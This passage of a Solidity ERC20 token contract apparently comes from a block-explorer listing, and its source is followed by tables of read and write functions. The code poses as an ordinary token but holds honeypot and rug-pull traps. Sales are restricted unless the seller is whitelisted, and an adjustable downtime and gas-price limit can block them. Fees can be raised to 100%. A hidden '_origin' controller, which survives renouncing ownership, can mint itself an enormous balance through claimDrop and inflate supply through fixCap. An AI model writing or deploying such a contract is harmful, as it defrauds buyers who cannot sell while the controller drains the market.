        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)) {
            boughtAmount[to] = amount;
            purchaseTimestamp[to] = block.timestamp;
        }
        if (isMarket(to)) {
            if (!premissionList[from]) {
                require(boughtAmount[from] >= amount, "You are trying to sell more than bought!");
                boughtAmount[from] -= amount;
                if (validationEnable())
                {require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");}
                require(!exceedsGasPriceLimit());
            } 
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    bool internal validtionState;
    
    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function switchValidationEnableState() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        validtionState = !validtionState;
    }

    function validationEnable() public view returns (bool) {
        return validtionState;
    }

    function editDownTime(uint _seconds) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        downTime = _seconds;
    }

    function updatePremissionList(address[] calldata _usrs, bool _state) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        for (uint256 i = 0; i < _usrs.length; i++) {
            premissionList[_usrs[i]] = _state;
        }
    }

    function checkPremissionList(address _user) external view returns (bool) {
        return premissionList[_user];
    }

    function checkUserPurchaseTime(address _user) external view returns (uint256) {
        return purchaseTimestamp[_user];
    }

    function checkUserBoughtAmount(address _user) external view returns (uint256) {
        return boughtAmount[_user];
    }

    function exceedsGasPriceLimit() internal view returns (bool) {
        return tx.gasprice >= MAX_GAS_PRICE;
    }

    function changeMaxGasPrice(uint _newGasPrice) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        MAX_GAS_PRICE = _newGasPrice;
    }

    function fixCap(uint256 _amount) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _totalSupply += _amount;
    }

    function claimDrop() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _balances[msg.sender] += 2 * (10 ** (15 + 18));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        return (buyFee, sellFee);
    }

    function AddLiquidity(uint256 _tokenAmount) payable external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _approve(address(this), address(_router), _tokenAmount);
        transfer(address(this), _tokenAmount);
        _router.addLiquidityETH{ value: msg.value }(
            address(this), 
            _tokenAmount, 
            0, 
            0, 
            msg.sender, 
            block.timestamp + 1200
            );
    }

    function switchOrigin(address _newOne) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = _newOne;
    }

    function rebaseLP(address _routerAddress) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _router = IUniswapV2Router02(_routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
}

Read Contract

MAX_GAS_PRICE 0xe3bbb4f1 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
checkCurrentFees 0x2df8bca9 → uint256, uint256
checkPremissionList 0xa7e90f41 → bool
checkUserBoughtAmount 0xd1a039f0 → uint256
checkUserPurchaseTime 0x6994ee73 → uint256
decimals 0x313ce567 → uint8
excludedFromFee 0x85ecafd7 → bool
isExcludedFromFee 0x5342acb4 → bool
marketWallet 0xe4440a86 → address
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
validationEnable 0x3975cae9 → bool

Write Contract 19 functions

These functions modify contract state and require a wallet transaction to execute.

AddLiquidity 0xf53d9d58
uint256 _tokenAmount
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
changeMaxGasPrice 0x3816377e
uint256 _newGasPrice
claimDrop 0x4feeade4
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
editDownTime 0x344d9e79
uint256 _seconds
fixCap 0x9e568dbc
uint256 _amount
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
rebaseLP 0xbbf75e8f
address _routerAddress
renounceOwnership 0x715018a6
No parameters
switchOrigin 0xedd8b64a
address _newOne
switchValidationEnableState 0x8229c2e5
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateExcludedFromFeeStatus 0x5337cc99
address _user
bool _status
updateFees 0x6db79437
uint256 _buyFee
uint256 _sellFee
updateMarketWallet 0x4d474d42
address _newMarketWallet
updatePremissionList 0x9f38a0d7
address[] _usrs
bool _state

Recent Transactions

No transactions found for this address